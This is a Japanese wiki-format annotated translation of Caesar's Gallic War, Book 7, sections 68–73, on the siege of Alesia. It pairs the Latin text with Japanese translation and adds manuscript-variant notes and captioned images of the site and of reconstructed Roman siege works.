[[画像:Alésia.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]であるとほぼ確実視されている仏アリーズ＝サント＝レーヌ村（[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]）近郊のオソワ山（Mont Auxois）という丘陵の西端にある[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]像（&lt;small&gt;[[w:fr:Vercingétorix_(statue d'Aimé Millet)|Statue de Vercingétorix]]&lt;/small&gt;）。&lt;small&gt;[http://maps.google.co.jp/?ie=UTF8&amp;ll=47.538579,4.490544&amp;spn=0.001172,0.002401&amp;t=h&amp;z=19&amp;brcurrent=3,0x0:0x0,1 Googleマップ]&lt;/small&gt;の航空写真にもこの巨像が写っている。&lt;br&gt;当地はフランス東部[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]][[w:コート＝ドール県|コート＝ドール県]]（&lt;small&gt;[[w:fr:Côte-d'Or|Côte-d'Or]]&lt;/small&gt;）のオソワ地域（&lt;small&gt;[[w:fr:Auxois (région)|L'Auxois]]&lt;/small&gt;）にあり、県都[[w:ディジョン|ディジョン]]市街から西北西へ約4.5kmの地点に位置する。ディジョン方面から県道905号（D905）を北西に進んで行くと、ヴナレ＝レ＝ローム（&lt;small&gt;[[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]]&lt;/small&gt;）から東の郊外にかけて古戦場跡が広がる。&lt;br&gt;オソワ（Auxois）という地域名・山名は、ラテン語の Alesiensis pagus「アレスィア郷」が転訛し、アリーズ（Alise）の名もアレスィア（Alesia）に由来すると考えられている。サント＝レーヌ（[[w:fr:Sainte Reine|Sainte Reine]] 聖レグニア）とはこの地でAD252年に殉教したキリスト教徒ガッリア人女性で、カトリック教会から聖人に列せられている。]]

'''ウェルキンゲトリークスがアレスィア入城、カエサルは攻囲を決断'''
*①　Fugato omni equitatu 
**すべての[[w:騎兵|騎兵隊]]が逃げてしまったので、
*[[w:la:Vercingetorix|Vercingetorix]] copias suas&lt;ref&gt;suas はβ系写本の記述で、α系写本にはない。&lt;/ref&gt;, ut pro castris conlocaverat, reduxit 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、陣営の前に配置するようにしていた麾下の（歩兵の）軍勢を呼び戻して、
*protinusque [[w:la:Alesia|Alesiam]], quod est oppidum Mandubiorum, iter facere coepit 
**すぐに、マンドゥビイ族の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;である[[w:アレシア|アレスィア]]へ行軍し始めた。
*celeriterque impedimenta ex castris educi et se subsequi iussit. 
**かつ、速やかに陣営から[[w:輜重|輜重]]を進発させること、および自分に追随すること、を命じた。
*②　Caesar impedimentis in proximum collem deductis, 
**カエサルは、輜重を近隣の丘陵に移させて、
*duabus legionibus praesidio relictis, 
**2個[[w:ローマ軍団|軍団]]を（輜重の）守備隊として（その丘陵に）残留させた。
*secutus quantum diei tempus est passum, 
**日中の時間が許される限り（ガッリア勢を）追跡して、
*circiter tribus milibus hostium ex novissimo agmine interfectis 
**敵方の後衛のうちから約3000人を殺戮して、
*altero die ad Alesiam castra fecit. 
**翌日には、アレスィアの辺りに陣営を張った。
*③　Perspecto urbis situ 
**（アレスィアの）都市の地勢を吟味して、
*perterritisque hostibus, quod equitatu, qua maxime parte exercitus confidebant, erant pulsi, 
**敵方は、部隊の大部分において頼りにしていた騎兵隊が撃退されていたので、怖れおののいていたから、
*adhortatus ad laborem milites circumvallare instituit.
**（カエサルは）兵士たちを労役に駆り立てて、（敵陣を）[[w:堡塁|堡塁]]で囲むことを決断した。

===69節===
[[画像:Alise2.jpg|thumb|right|300px|[[w:アレシア|アレスィア]]にあったローマ時代の[[w:フォルム|フォルム]]（広場）や[[w:バシリカ|バシリカ]]（教会堂）などと思われる遺跡（[http://maps.google.co.jp/?ie=UTF8&amp;t=h&amp;brcurrent=3,0x0:0x0,1&amp;ll=47.539477,4.5008&amp;spn=0.002343,0.004801&amp;z=18 Googleマップ]の航空写真を参照）。現在、オソワ山（Mont Auxois）と呼ばれているこの丘陵は、頂きが平坦な台地状になっており、その中央のさらに高い所に[[w:オッピドゥム|オッピドゥム]]（城塞都市）があったと思われる。&lt;br&gt;上の画像からは、同等の高さの丘陵が周囲を取り巻いていることが見て取れる。&lt;br&gt;『ガリア戦記』に書かれたアレスィアの所在地については諸説があって永らく不明であったが、ゲルゴウィアと同様に19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の発掘調査によってローマ軍の遺構などが発見され、地勢もカエサルの記述にかなり合っていると見なされて、オソワ山とその中腹にあるアリーズ＝サント＝レーヌが有力視されることになった。]]

'''アレスィアの地勢、ローマ軍の攻囲線'''
*①　Ipsum erat oppidum [[w:la:Alesia|Alesia]] in colle summo admodum edito loco, 
**[[w:アレシア|アレスィア]]の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;そのものは、丘陵の頂きにおいて、ひときわ高い地点にあって、
*ut nisi obsidione expugnari non posse videretur. 
**攻囲（包囲）以外には攻略されることができないと思われた。
*②　Cuius collis radices duo duabus ex partibus flumina subluebant. 
**その丘陵のふもとを2つの方面から、2つの川が流れていた。
*③　Ante id&lt;ref&gt;id はα系写本の記述で、β系写本にはない。&lt;/ref&gt; oppidum planities circiter milia passuum Ⅲ(tria) in longitudinem patebat; 
**その城塞都市の前に、約3ローママイル（4.5km）の間隔で、平地が広がっていた。
*④　reliquis ex omnibus partibus colles mediocri interiecto spatio 
**ほかのすべての方面からは（いくつかの）丘陵が適度な空間を置いており、
*pari altitudinis fastigio oppidum cingebant. 
**同等の高さの頂上で（アレスィアの）城塞都市を取り巻いていた。
*⑤　Sub muro, quae pars collis ad orientem solem spectabat, 
**（アレスィアの）丘陵の日が昇る方（＝東方）へ面していた部分の城壁の下には、
*hunc omnem locum copiae Gallorum compleverant 
**このすべての場所を、ガッリア人たちの軍勢が満たしていて、
*fossamque et maceriam sex in altitudinem pedum praeduxerant. 
**堀、および高さ6[[w:ペース (長さ)|ペース]]（約1.8m）の防壁を前に引いていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:maceria|maceria]] は、軍事用語としては、立てこもるための城壁&lt;ref&gt;&lt;i&gt;muraille (pour se retrancher)&lt;/i&gt;（ラルース社の羅仏辞典 &lt;small&gt;“Dictionnaire MaxiPoche Plus latin-français et français-latin”&lt;/small&gt; を参照）&lt;/ref&gt;を指す。）&lt;/span&gt;
*⑥　Eius munitionis quae ab Romanis instituebatur circuitus XI&lt;ref&gt;XI はα系写本の記述で、β系写本では X となっている。&lt;/ref&gt; milia passuum tenebat. 
**ローマ人たちによって建てられようとしていた塁壁の周囲は、11ローママイル（約16km）を占めていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：α系写本では 11マイル＝約16km、β系写本では 10マイル＝約15km となっている。）&lt;/span&gt;
*⑦　Castra opportunis locis erant posita 
**（ローマ勢の）陣営は（戦略上）都合良い地点に設置されていて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵・騎兵の陣営が計8か所に置かれていたようである。）&lt;/span&gt;
*ibique&lt;ref&gt;ibique はα系写本の記述で、β系写本では itemque となっている。&lt;/ref&gt; castella XXIII(viginti tria) facta, 
**同じく23基の砦が造られた。
*quibus in castellis interdiu stationes ponebantur, 
**それらの砦には、昼間は、歩哨たちが置かれて、
*ne qua subito eruptio fieret; 
**不意に何らかの突撃がなされないようにした。
*haec eadem noctu excubitoribus ac firmis praesidiis tenebantur.
**この同じところが、夜間は、寝ずの番兵および強力な守備隊により固守された。

===70節===
'''カエサル麾下のゲルマニア騎兵が、再びガッリア騎兵を虐殺'''
*①　Opere instituto 
**（ローマ人により）[[w:堡塁|堡塁]]が建てられだして、
*fit equestre proelium in ea planitie, 
**かの平地において[[w:騎兵|騎兵]]戦がなされた。
*quam intermissam collibus tria milia passuum in longitudinem patere supra demonstravimus. 
**それ（平地）は（周囲の）丘陵から3ローママイル（約4.5km）の間隔を空けて広がっていることを、[[#69節|前]]に述べた。
*Summa vi ab utrisque contenditur. 
**（騎兵戦は）双方の主力によって闘われた。
*②　Laborantibus nostris Caesar Germanos submittit 
**苦戦している我が方（ローマ騎兵）に対して、カエサルは[[w:ゲルマニア|ゲルマニア]]人（騎兵）を援けに派遣した。
*legionesque pro castris constituit, ne qua subito inruptio ab hostium peditatu fiat. 
**諸[[w:ローマ軍団|軍団]]を陣営の前に駐留させて、不意に何らかの突入が敵方の[[w:歩兵|歩兵隊]]によってなされないようにした。
*③　Praesidio legionum addito nostris animus augetur; 
**軍団の守備が加わって、我が方（ローマ勢の）勇気が増された。
*hostes in fugam coniecti se ipsi multitudine impediunt 
**敵方（の騎兵）は敗走に追いやられて、彼ら自身が自分たち（の敗走）を大勢であることにより妨げた。
*atque angustioribus portis relictis coacervantur&lt;ref&gt;coacervantur は近世の写本(ς)の記述で、α系写本では coacervati tum 、β系写本では coartantur となっている。&lt;/ref&gt;. 
**さらに（ガッリア陣地の）諸門がとても狭いままにしておかれたので（騎兵たちが）積み重ねられた。
*④　Germani acrius usque ad munitiones sequuntur. 
**ゲルマニア人（騎兵）たちは（ガッリア騎兵たちを）苛烈に、防塁のところまで追撃した。
*⑤　Fit magna caedes. 
**（こうして）大虐殺が起こった。
*Nonnulli relictis equis fossam transire et maceriam transcendere conantur. 
**（ガッリア騎兵の）幾人かは、馬を置き去りにして、堀を越えること、および防壁を登り越えることを試みた。
*Paulum legiones Caesar quas pro vallo constituerat promoveri iubet. 
**カエサルは、防柵の前に駐留させていた諸軍団に、いくらか前進することを命じた。
*⑥　Non minus qui intra munitiones erant perturbantur Galli: 
**防塁の内側にいたガッリア人たちも（騎兵たちに）劣らず狼狽した。
*veniri ad se confestim existimantes ad arma conclamant; 
**（ローマ勢により）自分たちのところへ直ちにやって来られると考えた者たちは、防具を取れと叫んだ。
*nonnulli perterriti in oppidum inrumpunt. 
**（ガッリア勢の）幾人かは、怖れおののいて（丘陵の頂きにある）城塞都市の中に押し入った。
*⑦　[[w:la:Vercingetorix|Vercingetorix]] iubet portas claudi, ne castra nudentur. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、陣営が無防備にされないように、（防塁の）諸門が閉じられることを命じた。
*Multis interfectis, compluribus equis captis Germani sese recipiunt.
**（ガッリア騎兵の）多くが殺戮され、おびただしい馬が捕獲されて、ゲルマニア人（騎兵）たちは退却した。

===71節===
[[画像:Statue_Vercingetorix_st_germain_en_laye.JPG|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（&lt;small&gt;パリ郊外の[[w:サン＝ジェルマン＝アン＝レー|サン＝ジェルマン＝アン＝レー]] [[w:fr:Saint-Germain-en-Laye|Saint-Germain-en-Laye]]&lt;/small&gt;）。[[w:アレシアの戦い|アレスィア古戦場]]（&lt;small&gt;現在のアリーズ＝サント＝レーヌ&lt;/small&gt;）にある巨大な銅像と同様に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）によって建立された。]]
[[画像:Napoleon3.PNG|thumb|right|250px|ウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）をして[[w:アレシア|アレスィア]]およびゲルゴウィアの発掘調査をさせた立役者･皇帝[[w:ナポレオン3世|ナポレオン3世]]の肖像。[[w:ガリア起源説|ガッリア起源説]]により、王政に反感を持つフランスの共和派や庶民は、旧[[w:ブルボン家|ブルボン王朝]]を[[w:クロヴィス1世|クロヴィス]]や[[w:ユーグ・カペー|カペー]]にさかのぼるゲルマン系の[[w:フランク人|フランク人]]と見なし、自分たちのルーツを[[w:ケルト人|ケルト系]]の古代[[w:ガリア人|ガッリア人]]に求めた。ナポレオン3世はこのような国民の意識を利用して、[[w:ナショナリズム|ナショナリズム]]の高揚および帝政の基盤強化を図ったのである。]]

'''ウェルキンゲトリークスが援兵召集のため騎兵を放ち、籠城策を定める'''
*①　[[w:la:Vercingetorix|Vercingetorix]], priusquam munitiones ab Romanis perficiantur, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ローマ人たちによって塁壁が完成されるより前に、
*consilium capit omnem ab se equitatum noctu dimittere. 
**自分のところから[[w:騎兵|騎兵隊]]のすべてを夜間に送り出すことを計画した。
*②　Discedentibus mandat 
**（アレスィアから）退去する（騎兵の）者たちに（以下のように）指図した。
*ut suam quisque eorum civitatem adeat 
**彼ら（騎兵）のおのおのが自らの部族に行くように、
*omnesque qui per aetatem arma ferre possint ad bellum cogant. 
**かつ、年齢により武器を手に取ることができる者たちの皆を戦争へ徴集するように、と。
*③　Sua in illos merita proponit obtestaturque 
**（ウェルキンゲトリークスは）彼ら（ガッリア人たち）における自分の功績に言及して（以下のように）懇願した。
*ut suae salutis rationem habeant 
**自分の身の安全を顧慮してくれるように、
*neu se optime de communi libertate meritum in cruciatum hostibus&lt;ref&gt;in cruciatum hostibus はβ系写本の記述で、α系写本では hostibus in cruciatum となっている。&lt;/ref&gt; dedant. 
**かつ（ガッリア）共通の自由について功績が最上である自分を、敵方の責め苦に渡すことがないように、と。
*Quod si indiligentiores fuerint, 
**ところが、もし（騎兵たちがウェルキンゲトリークスたちの安全に）無関心であったならば、
*milia hominum delecta octoginta una secum interitura demonstrat. 
**選りすぐりの兵員8万名が自分と一緒に滅びるであろう、と明言した。
*④　Ratione inita frumentum se exigue dierum XXX(triginta) habere&lt;ref&gt;frumentum ～ habere はβ系写本の記述で、χ系･φ系あるいはモイゼル H. Meusel の修正提案など、写本や校訂者により語順が異なっていたり、単語が欠けていたりする。&lt;/ref&gt;, 
**見積もったところ、自分たちはわずかに30日分の穀物を保有しているが、
*sed paulo etiam longius tolerari posse parcendo. 
**しかし節約することにより、なおいくらか長く耐え忍ぶことができる、と。
*⑤　His datis mandatis, 
**これらの指図を与えてから、
*qua erat nostrum opus&lt;ref&gt;erat nostrum opus はβ系写本の記述で、α系写本では単に opus erat となっている。&lt;/ref&gt; intermissum, secunda vigilia silentio equitatum mittit&lt;ref&gt;mittit はχ系･B･M･S写本の記述で、β系写本では dimittit となっている。&lt;/ref&gt;. 
**我が方（ローマ勢）の構築物が中断しているところから、第二夜警時に静けさのうちに、騎兵隊を送り出した。
*⑥　Frumentum omne ad se referri iubet, 
**穀物をすべて自分のところへ運んで来ることを命じて、
*capitis poenam iis qui non paruerint constituit; 
**服従しなかった者たちを極刑に処すと決めた。
*⑦　pecus, cuius magna erat copia a Mandubiis&lt;ref&gt;a Mandubiis はβ系写本の記述で、α系写本では ab Manduviis となっている。&lt;/ref&gt; compulsa, viritim distribuit; 
**家畜は、マンドゥビイ族によって大量に集められていたが、個々に分配した。
*frumentum parce et paulatim metiri instituit; 
**穀物を節約して少しずつ量り分けることを定めた。
*⑧　copias omnes quas pro oppido collocaverat in oppidum recepit. 
**&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の前に駐留させていた（歩兵の）軍勢すべてを城塞都市の中に退却させた。
*⑨　His rationibus auxilia Galliae exspectare et bellum parat administrare&lt;ref&gt;parat administrare はα系写本の記述で、β系写本では administrare parat となっている。&lt;/ref&gt;.
**これらの手段により、ガッリア（諸部族）の援軍を待つこと、および戦争を指導しようとしたのである。

===72節===
'''カエサルが、より大掛かりな攻囲陣地を構築する'''
*①　Quibus rebus cognitis&lt;ref&gt;cognitis がこの位置にあるのはα系写本の記述で、β系写本では captivis の後となっている。&lt;/ref&gt; ex perfugis et captivis 
**それらの事情を脱走兵たちや捕虜たちから知って、
*Caesar haec genera munitionis instituit. 
**カエサルは以下の類いの塁壁工事に取りかかった。
&lt;br&gt;

*'''前線の切り立った空堀'''
*Fossam pedum XX(viginti) derectis lateribus duxit, 
**20[[w:ペース (長さ)|ペース]]（約6m）の（幅の）垂直な側面の堀を引いた。
*ut eius fossae&lt;ref&gt;fossae がこの位置にあるのはβ系写本の記述で、α系写本では summa(e) の後になっている。&lt;/ref&gt; solum tantundem pateret, quantum summa&lt;ref&gt;summa はβ系写本の記述で、α系写本では summae となっている。&lt;/ref&gt; labra distarent&lt;ref&gt;distarent はα系写本の記述で、β系写本では distabant となっている。&lt;/ref&gt;. 
**その堀（の底）は、頂きの縁が離れているのとちょうど同じ分だけ広がるようにした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上辺と底の幅が等間隔になるような切り立った空堀にした。）&lt;/span&gt;
*②　Reliquas omnes munitiones ab ea fossa pedes&lt;ref&gt;pedes はα系写本の記述で、β系写本では pedibus となっている。&lt;/ref&gt; CCCC(quadringentos) reduxit. 
**ほかのすべての塁壁は、その堀から400ペース（約120m）後ろに引いた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：写本にあるこの数字は、19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;発掘調査によって400[[w:パッスス|パッスス]]（約600m）と修正された。この堀は、アレスィアの西方に引かれたと思われる。）&lt;/span&gt;
*Id hoc consilio, 
**それは、以下の考えによる。
*quoniam tantum spatium necessario esset&lt;ref&gt;spatium necessario esset はβ系写本の記述で、α系写本では esset necessario spatio となっている。&lt;/ref&gt; complexus 
**これほどの空間が包囲されなければならないのであるから、
*nec facile totum corpus&lt;ref&gt;corpus はα系写本の記述で、β系写本では opus となっており、ρ系写本にはない。&lt;/ref&gt; corona militum cingeretur, 
**すべての包囲作業が兵士たちの&lt;ruby&gt;&lt;rb&gt;哨兵線&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コロナ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で取り囲まれるのは容易ではない。
*ne de improviso aut noctu ad munitiones hostium multitudo&lt;ref&gt;hostium multitudo はα系写本の記述で、β系写本では multitudo hostium となっている。&lt;/ref&gt; advolaret 
**不意に、あるいは夜間に、敵方の大勢が（ローマ側の）塁壁へ突進することがないように、
*aut interdiu tela in nostros operi destinatos conicere possent&lt;ref&gt;possent はα系写本の記述で、β系写本では posset となっている。&lt;/ref&gt;. 
**あるいは日中に、工事中の我が方（ローマ勢）に飛道具が投げ付けられることができないように。
&lt;br&gt;

[[画像:Fosse.Saint.Pierre.en.Chastres.png|thumb|right|300px|二重の堀およびその背後の堡塁（土塁と障壁・櫓）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。]]
[[画像:AlesiaFortifications.JPG|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された、二重の堀およびその背後の堡塁（土塁と鹿柴、胸壁・鋸壁、櫓）。]]

*'''二重の堀'''
*③　Hoc intermisso spatio 
**この空間をあけて、
*duas fossas XV(quindecim) pedes latas eadem altitudine perduxit; 
**15ペース（約4.5m）の幅の2つの堀を、同じ深さ（15ペース）で張り巡らせた。
*quarum interiorem campestribus ac demissis locis 
**それらの内側（の堀）の平地で低く下がった所には、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：内側の堀とは、アレスィアに近い東側の堀と考えられている。）&lt;/span&gt;
*aqua ex flumine derivata complevit. 
**川から導かれた水で満たした。
&lt;br&gt;

*'''土塁と防柵、胸壁と鋸壁、鹿柴、櫓'''
*④　Post eas aggerem ac vallum XII(duodecim) pedum exstruxit. 
**それらの後ろには、12ペース（約3.6mの高さ）の&lt;ruby&gt;&lt;rb&gt;[[w:土塁|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;防柵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウァッルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を築き上げた。
*Huic loricam pinnasque adiecit 
**これに&lt;ruby&gt;&lt;rb&gt;胸壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ロリカ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;鋸壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピンナ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を付け加えて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：胸壁と鋸壁とは、[[ガリア戦記 第5巻#40節|第5巻40節]]で既出のように、凹凸形に編み込まれた柴の壁）&lt;/span&gt;
*grandibus cervis eminentibus ad commissuras pluteorum atque aggeris, 
**障壁と土塁の接合部の辺りに大きな&lt;ruby&gt;&lt;rb&gt;鹿柴&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケルウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を突き出させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：&lt;ruby&gt;&lt;rb&gt;鹿柴&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ろくさい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（鹿砦または&lt;ruby&gt;&lt;rb&gt;逆茂木&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さかもぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;）とは、鹿の角のように枝分かれした杭や枝を逆立てた杭囲い。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;障壁とは、防柵の前に取り付けられた胸壁と鋸壁の総称であろう。）&lt;/span&gt;
*qui ascensum hostium tardarent, 
**敵方が登って来るのを妨げようとした。
*et turres toto opere circumdedit, quae pedes LXXX(octoginta) inter se distarent.
**構築物の全体を、互いに80ペース（約24m）離れて立つ櫓で取り巻いた。

===73節===
'''カエサルは、攻囲陣地をさらに障害物で補強する'''
*①　Erat eodem tempore et materiari et frumentari et tantas munitiones fieri necesse 
**材木収集と糧食徴発、およびこれほどの塁壁工事がなされることが、同時に必要であった。
*deminutis nostris copiis, quae longius ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; castris progrediebantur. 
**我が方の軍勢（ローマ勢）は減じており、陣営からはるか遠くに進み出ていた。
*Ac nonnumquam opera nostra Galli temptare 
**いくたびか、我が方の構築物に、ガッリア人が攻撃すること（を試み）、
*atque eruptionem ex oppido pluribus portis summa vi facere conabantur. 
**かつ、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の多くの門から、主力でもって出撃することを試みた。
*②　Quare ad haec rursus opera addendum Caesar putavit, 
**そのゆえに、この構築物へさらに（以下の障害物が）付け加えられるべきだとカエサルは考えた。
*quo minore numero militum munitiones defendi possent. 
**それによって、より少ない数の兵士で塁壁が防衛されることができるように、と。
[[画像:Archeodrome_Beaune_8.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。堡塁（土塁と障壁と櫓）の前の平地に、樹枝が突き出た「尖り杭」（奥）と落とし穴を枝で覆った「百合」（手前）が見える。]]
[[画像:Trous.de.loup.png|thumb|right|300px|サイコロの五つ目状に並べられた落とし穴「百合」（lilium）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。図の上部が五つ目状の配列を、図の下部が落とし穴の断面図を示す。この断面図では、尖らされた樹幹の先端が、傾斜した穴の突き固められた底から4本指ほど突き出ていると解釈しているようである。カエサルの記述からは、地表から突き出ているとも解釈できる。]]
[[画像:Aiguillon.png|thumb|right|200px|鉄の鉤が固定された杭「刺」の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。]]
[[画像:Archeodrome_Beaune_2.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。いちばん手前に「刺」が再現されている。]]
:　
'''尖り杭'''
*Itaque truncis arborum aut admodum firmis ramis abscisis 
**こうして、樹木の幹、あるいは非常に強固な枝が切り取られて、
*atque horum delibratis ac praeacutis cacuminibus 
**これらの皮がむかれて、&lt;ruby&gt;&lt;rb&gt;梢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こずえ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;尖&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;らされて、
*perpetuae fossae quinos pedes altae ducebantur. 
**5[[w:ペース (長さ)|ペース]]（約1.5m）ずつの連続した堀が引かれた。
*③　Huc illi stipites demissi 
**ここに、あの樹幹が沈められて、
*et ab infimo revincti, ne revelli possent, ab ramis eminebant. 
**底から固くしばられて、はぎ取ることができないようにして、枝から（地上に）突き出るようにしていた。
*④　Quini erant ordines coniuncti inter se atque implicati; 
**5列ずつが、互いにつなげられて、結び合わされた。
*quo qui intraverant se ipsi acutissimis vallis induebant. 
**そこに踏み込んだ者は、自身が自らをきわめて鋭い杭に陥れた。
*Hos cippos appellabant. 
**（将兵たちは）これらを&lt;ruby&gt;&lt;rb&gt;尖り杭&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;キップス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と呼んだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:cippus|cippus]]「尖り杭」は「墓標」とも訳されるが、後者は古典期以降のラテン語で長方形の墓碑を指す&lt;ref&gt;&lt;small&gt;POSTCLASSIQUE&lt;/small&gt; &lt;i&gt;[[w:fr:Cippe|cippe]] (colonne funéraire rectangulaire)&lt;/i&gt;（ラルース社の羅仏辞典 &lt;small&gt;“Dictionnaire MaxiPoche Plus latin-français et français-latin”&lt;/small&gt; を参照）&lt;/ref&gt;。）&lt;/span&gt;
:　
'''百合'''
*⑤　Ante&lt;ref&gt;ante はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; quos&lt;ref&gt;quos はα系写本の記述で、β系写本では hos となっている。&lt;/ref&gt; obliquis ordinibus in quincuncem dispositis 
**それらの前に、（サイコロの）&lt;ruby&gt;&lt;rb&gt;五つ目状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;クィンクンクス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に斜めの列に配置されて、
*scrobes tres in altitudinem pedes fodiebantur 
**深さ3ペース（約90cm）の穴が掘られた。
*paulatim angustiore ad infimum fastigio. 
**しだいに、より狭く、底の方へ傾斜を付けて。
*⑥　Huc teretes stipites [[w:la:Femur|feminis]] crassitudine 
**ここに、太ももの厚さの丸みを帯びた樹幹が
*ab summo praeacuti et praeusti demittebantur, 
**先端から尖らせられ、焦がされて（穴の底に）突き刺された。
*ita ut non amplius digitis quattuor ex terra&lt;ref&gt;ex terra はα系写本の記述で、V･ρ系写本では e terra 、T写本では contra となっている。&lt;/ref&gt; eminerent; 
**4本の指より長くないほど地中から突き出るように。
*⑦　simul confirmandi et stabiliendi causa 
**同時に、強固にして固定するために、
*singuli ab infimo solo pedes terra exculcabantur; 
**それぞれ底から1ペース（約30cm）だけ土で突き固められた。
*reliqua pars scrobis ad occultandas insidias viminibus ac virgultis integebatur. 
**穴の残りの部分は、わなを隠すために、柳の細枝や若枝で覆われた。
*⑧　Huius generis octoni ordines ducti ternos inter se pedes distabant. 
**この類いを、8列ずつ、3ペース（約90cm）ずつ互いに離して、作った。
*Id ex similitudine floris lilium appellabant. 
**（将兵たちは）それを花との類似から、&lt;ruby&gt;&lt;rb&gt;[[w:ユリ|百合]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;リリウム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と呼んだ。
:　
'''刺'''
*⑨　Ante haec taleae pedem longae ferreis hamis infixis totae in terram infodiebantur 
**これらの前に、鉄製の鉤が打ち込まれた長さ1ペース（約30cm）の棒の全体が地中に埋め込まれた。
*mediocribusque intermissis spatiis omnibus locis disserebantur, 
**適度な空間を間にあけて、至る所に配置された。
